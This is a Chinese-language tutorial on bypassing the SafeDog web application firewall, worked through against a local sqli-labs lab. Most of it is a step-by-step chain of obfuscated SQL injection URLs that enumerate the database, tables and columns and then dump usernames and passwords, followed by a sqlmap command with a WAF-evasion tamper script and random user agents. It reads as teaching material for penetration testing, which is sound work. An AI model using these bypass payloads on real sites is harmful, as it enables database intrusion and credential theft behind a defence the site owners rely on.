WAF Bypass 介绍与实战

前言

WAF是英文"Web Application Firewall"的缩写，中文意思是"Web应用防火墙"，也称为"网站应用级入侵防御系统"。WAF是集WEB防护、网页保护、负载均衡、应用交付于一体的WEB整体安全防护设备
WAF从形态上可分为硬件WAF、WAF防护软件和云WAF
以下仅介绍软件WAF及其简单绕过：安全狗

安全狗环境安装

以管理员身份打开cmd
cd C:\phpstudy\PHPTutorial\Apache\bin  //进入phpstudy的apache目录的bin目录

httpd.exe -k install -n apahce2.4

cd C:\phpstudy\PHPTutorial\MySQL\bin  //进入phpstudy的mysql目录的bin目录

mysqld --install mysql

一、Burp配合进行ByPass

SQL注入的Waf ByPass

判断字段数
http://192.168.31.198/sqli-labs/Less-1/?id=1%27%20order/*%2f%2f!*/by%204%23

联合查询显示位
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,2,3%23

查数据库
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,database/*%2f%2f!*/(/*%2f%2f!*/),3%23

查表
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,2,group_concat(table_name)from/*!--+/*%0A(information_schema.tables)*//*%2f%2f!*/where/*%2f%2f!*/table_schema=%22security%22%23

查字段
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,2,group_concat(column_name)from/*!--+/*%0A(information_schema.columns)*//*%2f%2f!*/where/*%2f%2f!*/table_schema=%22security%22%20and/*%2f-*!%2f*/table_name=%22users%22%23

查数据
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,group_concat(username),group_concat(password)from%20users%23

二、自动化脚本测试绕过

sqlmap -u "http://192.168.31.198/sqli-labs/Less-1/?id=1" --tamper=anquangou --random-agent

注:--tamper=anquangou 使用的是绕过安全狗的脚本
    --random-agent 开启随机ua头是因为安全狗会自动开启识别自动化探测器如sqlmap或者其他盲注自动化探测器等，然后将其拦截，开启随机ua头是为了绕过ua头为sqlmap不被拦截

总结